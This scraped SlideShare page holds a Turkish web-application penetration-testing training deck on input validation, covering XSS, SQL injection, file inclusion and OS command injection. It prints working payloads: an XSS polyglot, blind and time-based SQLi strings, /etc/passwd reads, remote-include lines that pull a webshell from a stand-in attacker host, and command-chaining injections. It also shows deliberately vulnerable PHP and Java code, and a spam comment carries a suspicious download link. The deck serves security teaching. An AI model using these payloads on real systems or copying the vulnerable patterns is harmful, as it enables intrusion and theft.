Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Web Uygulama Pentest Eğitimi

10,832 views

Published on

Published in: Technology
  • D0WNL0AD FULL ▶ ▶ ▶ ▶ http://1lite.top/0e84p ◀ ◀ ◀ ◀
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

Web Uygulama Pentest Eğitimi

  1. 1. Web Uygulama Pentest Eğitimi Konu: Girdi Denetimi @2014 Örnek Eğitim Notu bilgi@bga.com.tr Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  2. 2. Girdi Denetimi • Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir şekilde denetlenmesidir. • Bir çok saldırı çeşidinin temelinde yetersiz girdi kontrolü vardır; – Cross Site Scripting – SQL Injection – Remote / Local File Inclusion – ... Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  3. 3. 1. Normalizasyon (Canonicalization) • Bir dizginin en basit, en temel haline çevrilmesidir. • Örnek, aşağıdaki iki yol aynı dosyayı işaret etmektedir; /../../etc/passwd /etc/passwd • Karmaşık ve kritik bir işlemdir. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  4. 4. Resultante Importante - URL Kodlama /index.my?id=prm%2523 browser v=getParam(“id”) print v; // prints prm%23 v=URLDecode(v); print v; // prints prm# uygulama çatısı kod Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  5. 5. 2. Beyaz Liste Girdi Denetimi • Sadece iyi karakter veya karakter dizgilerinin kabul edilmesidir. • Güvenli ve tavsiye edilen girdi denetimidir. • Örnekler; – Kredi kartı girdi alanının geçerli kredi kartı numarası olup olmadığının kontrolü – Eposta adresi girdi alanının geçerli eposta olup olmadığının kontrolü Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  6. 6. 3. Kara Liste Girdi Denetimi • Bilinen kötü karakter veya karakter dizgilerinin reddedilmesidir. • Çok kullanılan ama güvensiz girdi denetimidir. • Örnekler; – <script> geçen girdilerin reddedilmesi – or 1=1 -- geçen girdilerin reddedilmesi Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  7. 7. 4. Temizleme İşlemi (Sanitize) • Girdinin kabul edilebilir bir formata çevrilmesidir. • Beyaz liste mantığı ile sanitize – Örn: Telefon numarası içinde geçen sayı, olmayan karakterlerin silinmesi • Kara liste mantığı ile sanitize – Örn: Adres girdisinin içindeki bütün tek tırnak karakterlerinin silinmesi Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  8. 8. 5. Encoding İşlemi • Girdi içindeki özel karakterlerin başka bir formata değiştirilmesidir. • Amaç, hedef yorumlayıcı için özel karakterlerin kodlama işlemi sonrası önemlerini yitirmiş olmalarıdır. • Örnek; – HTML kodlama – URL kodlama Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  9. 9. 6. Escape İşlemi • Yorumlayıcıya gitmeden gerçekleştirilen karakter format değişikliğidir. • Çoğu durumda kodlama ile aynı anlamdadır. • Örnek; – Oracle veritabanında çalışacak SQL sorgularında tek tırnak karakterlerinin iki tek tırnak ile değiştirilmesiyle, sorgu yapısının değiştirilmesi engellenebilir. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  10. 10. Çoğu Zafiyetin Kökeni Kod Veri Kapsam Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  11. 11. Kod ve Verinin Karıştırılması veri kod A = "select * from users where id = " Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  12. 12. Kod ve Verinin Karıştırılması veri kod A = "/opt/myapp/startcmd.sh --str " Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  13. 13. Kod ve Verinin Karıştırılması veri kod A = "Siparişinizin hazırlanma süresi "; eval(A); </script> Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  14. 14. XSS Nedir? Uygulama Browser Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  15. 15. Cross Site Scripting - XSS • Html/dhtml/css veya javascript kodunun izinsiz olarak kurbanın tarayıcısında çalıştırılmasıdır. • Üç genel XSS çeşidi mevcuttur; – Reflected – Stored – DOM Based Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  16. 16. Reflected XSS Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  17. 17. Stored XSS - Senaryo Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  18. 18. DOM Based XSS - Senaryo Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  19. 19. XSS - MySpace Worm Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  20. 20. XSS - MySpace Worm Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  21. 21. XSS - MySpace Worm Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  22. 22. XSS - MySpace Worm Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  23. 23. XSS - Diğer Wormlar • • • • • • • • • Orkut Justin.tv Yahoo! Mail Facebook Twitter Reddit Digg MySpace … Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  24. 24. XSS - Neden Olduğu Problemler • Bilgi Hırsızlığı – Oturum Korsanlığı – Clipboard Veri Çalma, Tuş Yakalama, Ekran Çalma • • • • İçerik Değişikliği (Defacement) Geçmiş Tarama, Port Tarama Dahili IP Çalma, Web Spidering, XSS Botnet Açıklık Tarama, Worm Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  25. 25. XSS - İstatistikler Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  26. 26. XSS - Temel Test Tekniği - Analiz 1. XSS için denetlenecek parametre belirlenir 2. Bu parametreye abcde gibi basit bir değer verilerek istek yapılır 3. Cevap içerisinde abcde nerelerde geçiyor hesaplanır. – – – – HTML HTML Attribute Javascript URL Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  27. 27. XSS - Temel Test Tekniği - Test 1. Analiz sonucu parametre değeri olarak uygun payload gönderilir, 2. Cevabın içinde payload aranır, 3. Bulunduğunda sayfa içinde payload uygun kodlama işleminden geçirilmemiş ise XSS güvenlik zafiyetinden bahsedilir. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  28. 28. XSS - Payload 1 <plaintext> Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  29. 29. XSS - Payload 1 - Örnek 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  30. 30. XSS - Payload 2 ';prompt(String.fromCharCode(88,83,83))//'; prompt(String.fromCharCode(88,83,83))//"; prompt(String.fromCharCode(88,83,83))//"; prompt(String.fromCharCode(88,83,83))//-></ScRIPT>">'><ScRIPT> prompt(String.fromCharCode(88,83,83))</ScRI PT> Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  31. 31. XSS - Payload 3 '';!--"<abc>=&{()} Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  32. 32. Raw Echo - Payload 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  33. 33. HTML Attribute - Payload 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  34. 34. HTML Attribute Interactive - Payload 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  35. 35. Javascript Injection - Payload 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  36. 36. innerHTML ByPass - Payload 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  37. 37. CSS – Internet Explorer - Payload 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  38. 38. DOM Based XSS Sunucuya giden parametre Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  39. 39. DOM Based XSS Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  40. 40. DOM Based XSS Sunucuya giden parametre yok! Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  41. 41. DOM Based XSS Sunucuya giden XSS String yok! Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  42. 42. SQL Injection Nedir? • SQL Injection; – Saldırganlar için en popüler, – Geliştiriciler için en bilindik, – İş sahipleri için en tehlikeli • Hedef veritabanında uygulama yolu ile yetkisiz olarak sql sorgularının çalıştırılabilmesidir. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  43. 43. SQL Injection - Senaryo Dinamik bir SQL sorgusu SELECT * FROM users WHERE id=$id; Normal bir değişken değeri SELECT * FROM users WHERE id=100 Anormal bir değişken değeri: SQL Enjeksiyonu SELECT * FROM users WHERE id=100 OR 2>1 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  44. 44. SQL Injection Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  45. 45. SQL Injection Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  46. 46. SQL Injection Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  47. 47. SQL Injection ile 2012 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  48. 48. SQL Injection - İstatistikler Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  49. 49. SQL Injection - İstatistikler Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  50. 50. SQL Injection Çeşitleri • Olma şeklinden – Integer – String • Saldırı Perspektifinden – Kör (Blind) – Zaman Tabanlı – Union – Hata Tabanlı – Out of Band Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  51. 51. Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 select * from products where id=5 Orijinal Cevap Ürün Detayı Led TV Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  52. 52. Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5’ select * from products where id=5’ HATA SAYFASI Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  53. 53. Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 waitfor delay ‘00:00:05’ -select * from products where id=5 waitfor delay ‘00:00:05’ -- Orijinal Cevap 5 sn gecikmeli Ürün Detayı Led TV Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  54. 54. Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 select * from products where id=5 Orijinal Cevap Ürün Detayı Led TV Orijinal Cevap /urundetay.aspx?id=5 and 5=5 select * from products where id=5 and 5=5 /urundetay.aspx?id=5 and 5=6 Ürün Detayı Led TV HATA SAYFASI select * from products where id=5 and 5=6 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  55. 55. String SQL Injection - Test Teknikleri /goster.do?isim=muro select * from users where name=‘muro’ Orijinal Cevap Kullanıcı Detayı Muro Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  56. 56. String SQL Injection - Test Teknikleri /goster.do?isim=muro’ select * from users where name=‘muro’’ HATA SAYFASI Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  57. 57. String SQL Injection - Test Teknikleri /goster.do?isim=muro’ and SLEEP(5) %23 select * from users where name=‘muro’ and SLEEP(5) # ’ Orijinal Cevap 5 sn gecikmeli Kullanıcı Detayı Muro Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  58. 58. String SQL Injection - Test Teknikleri /goster.do?isim=muro select * from users where name=‘muro’ Orijinal Cevap Kullanıcı Detayı Muro Orijinal Cevap /goster.do?isim=muro’ and ‘5’=‘5 select * from users where name=‘muro’ and ‘5’=‘5’ /goster.do?isim=muro’ and ‘5’=‘6 Kullanıcı Detayı Muro HATA SAYFASI select * from users where name=‘muro’ and ‘5’=‘6’ Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  59. 59. Blind SQL Injection Teori - MySQL select version() 5.0.51b-community-nt select mid(version(), 7, 1) b select ord(mid(version(), 7, 1)) 98 Veritabanı Versiyonu Veritabanı Versiyonunun Yedinci Karakteri Versiyonun Yedinci Karakterinin ASCII Değeri Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  60. 60. Kör SQL Injection 63 1 127 /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 63 select * from products where id=5 and ord(mid(version(), 7, 1)) > 63 5.0.51b-community-nt b 98 Orijinal Cevap Ürün Detayı Led TV Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  61. 61. Kör SQL Injection 95 63 127 /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 95 select * from products where id=5 and ord(mid(version(), 7, 1)) > 95 5.0.51b-community-nt b 98 Orijinal Cevap Ürün Detayı Led TV Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  62. 62. Kör SQL Injection 111 95 127 /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 111 select * from products where id=5 and ord(mid(version(), 7, 1)) > 111 5.0.51b-community-nt b 98 HATA SAYFASI Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  63. 63. MySQL Escape - Orijinal Escaped NULL 0 " " % % ' ' _ _ Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  64. 64. MySQL Escape - Hata $user = ""; if(isset($_GET['user'])) $user = $_GET['user']; $userEsc = str_replace("'", "''", $user); $q = "SELECT * FROM users where u = '" . $userEsc . "'"; $result = mysql_query($q); Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  65. 65. Code Injection • Saldırganın hedef web uygulaması üzerine zararlı kod veya kod parçacığı eklemesidir. • Büyük çoğunlukla PHP tabanlı uygulamalar da bulunsa da JEE/ASP.NET uygulamalarında da görmek mümkündür. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  66. 66. PHP Include • Karmaşık kodları daha iyi yönetebilmek için modülariteyi arttırmak amacı ile PHP çatısında, bir PHP dosyasına başka bir PHP dosyasının dahil edilmesi özelliği vardır. • Bu işlem için aşağıdaki fonksiyonlar kullanılır – include(dosya_ismi) – require(dosya_ismi) – include_once(dosya_ismi) – require_once(dosya_ismi) Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  67. 67. PHP Include - Örnek index.php <html> <body> <?php include 'header.php'; ?> <h1>Merhaba <?php echo $user ?> Ana sayfaya Hoşgeldiniz...</h1> ... header.php <?php $user = $_SESSION[‘user’]; ?> Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  68. 68. PHP Include - Örnek index.php <html> <body> <?php $user = $_SESSION[‘user’]; ?> <h1>Merhaba <?php echo $user ?> Ana sayfaya Hoşgeldiniz...</h1> ... header.php dosyası içeriği kopyalandı ve index.php dosyasına yapıştırıldı. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  69. 69. Code Injection - PHP • PHP include/require fonksiyonlarına giden parametre değerleri saldırganlar tarafından değiştirilebilirse, • Diğer sistem ve uygulama dosyaları da çalıştırılacak PHP dosyaları içine kopyalanıp, saldırgana cevap olarak dönebilir. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  70. 70. Code Injection - Senaryo index.php 1 /index.php?lang=tr sonuç 2 <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> 3 tr.php <?php … ?> Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  71. 71. Code Injection - Saldırı - LFI index.php 1 /index.php?lang=/etc/paswd%00 sonuç 2 <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> 3 /etc/passwd root:: guvenlikod:: … Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  72. 72. Code Injection - Saldırı - RFI 1 /index.php?lang=http://www.saldirgan.com/webshell.txt? index.php sonuç 2 4 www.saldirgan.com php web shell <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> 3 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  73. 73. Örnek Saldırı String’leri RFI-Remote File Inclusion: Uzaktan kod çağırma/dosya dahil etme ?id=http://saldirgan.com/myshell.txt%00 ?id=http://saldirgan.com/myshell.txt? LFI-Local File Inclusion: Server içinden kod çağırma/dosya dahil etme ?id=../../../uploads/myshell.txt ?id=../../../uploads/myshell.txt%00 77 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  74. 74. Diğer Denetim Teknikleri ?file=.htaccess content.php?file=content.php ?file=../../../../../var/log/apache/error.log%00 ?file=[http|https|ftp]://saldirgan_sunucu/shell.txt%00 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= ?file=http://127.0.0.1/yol/xss.php?param=phpkodu 78 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  75. 75. Fimap ile Otomatik RFI/LFI • PHP uygulamalarında otomatik RFI ve LFI bulmak için Python ile yazılmış bir araçtır. • http://code.google.com/p/fimap/ • >= Python 2.4 • Versiyon alpha_09 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  76. 76. Fimap - Örnek python >=2.4gereksinimi python fimap.py -u http://sunucu/index.php?pg= -x Parametreler ile beraber denetlenecek URL Başarılı saldırı sonrası interaktif bir oturum açılması Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  77. 77. Fimap - Reverse Shell 3 1 2 4 5 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  78. 78. OS Commanding • Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir. – Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması; • iptables, asterisk, qmail, v.b. • Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  79. 79. OS Commanding - Ön Bilgi KULLANICI KOMUT SATIRI İŞLETİM SİSTEMİ DONANIM Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  80. 80. OS Commanding - Unix - Ön Bilgi ls -al Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  81. 81. OS Commanding - Windows - Ön Bilgi dir . Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  82. 82. OS Commanding - Unix - Ön Bilgi grep com myfile.txt Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  83. 83. OS Commanding - Unix - Ön Bilgi ping www.guvenlikod.com Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  84. 84. OS Commanding - Unix -| ls -al | ping www.guvenlikod.com Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  85. 85. OS Commanding - Windows -| dir C: | ping www.guvenlikod.com Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  86. 86. OS Commanding - Unix - ; ls -al ; ping www.guvenlikod.com Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  87. 87. OS Commanding - Windows - & dir . & ping www.guvenlikod.com Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  88. 88. OS Commanding - Unix - || ls -al || ping www.guvenlikod.com 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  89. 89. OS Commanding - Windows - || dir . || ping www.guvenlikod.com 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  90. 90. OS Commanding - Unix - & ls -al & ping www.guvenlikod.com Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  91. 91. OS Commanding - Unix - && ls -al && ping www.guvenlikod.com Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  92. 92. OS Commanding - Windows - && dir . && ping www.guvenlikod.com 1 2 Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  93. 93. OS Commanding - Tanım • Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir. – Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması; • iptables, asterisk, qmail, v.b. • Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır. Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  94. 94. 1. Komut 4. Sayfa + Cevap UYGULAMA OS Commanding - Senaryo 2. Komut 3. Cevap Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  95. 95. OS Commanding - Xerox WorkCentre Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  96. 96. OS Commanding - Xerox WorkCentre function=HTTP_IP_Restriction_Update&Prot INPUT tcp ACCEPT ocol=tcp&Action=ACCEPT&Chain=INPUT&Int erface=eth0&SourceIP=1.2.3.4&Dport=80&S eth0 1.2.3.4 rcPort=443 iptables -A -p -i -s -j Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  97. 97. OS Commanding - Xerox WorkCentre function=HTTP_IP_Restriction_Update&Prot tcp ACCEPT ocol=tcp&Action=ACCEPT | ping www.webguvenligi.org&Chain=INPUT&Interf www.webguvenligi.org ace=eth0&SourceIP=1.2.3.4&Dport=80&SrcP ort=443 iptables -A -p -i -s -j Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  98. 98. OS Commanding public string executeCommand(String hostName) { try { String host = hostName; Runtime rt = Runtime.getRuntime(); rt.exec("cmd.exe /C nslookup " + host); } catch(Exception e){ e.printStackTrace(); } } Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  99. 99. OS Commanding - İstatistikler Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  100. 100. OS Commanding - Test Teknikleri ?id=/bin/ls| ?id=; cat /etc/passwd ?id=; cat /../etc/X11/../passwd Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  101. 101. OS Commanding - Test Teknikleri ?id=| dir C: ?id=|| dir C: ?id= & dir C: ?id= && dir C: Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
  102. 102. BGA İletişim www.bga.com.tr blog.bga.com.tr twitter.com/bgasecurity facebook.com/BGAkademisi bilgi@bga.com.tr egitim@bga.com.tr Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

×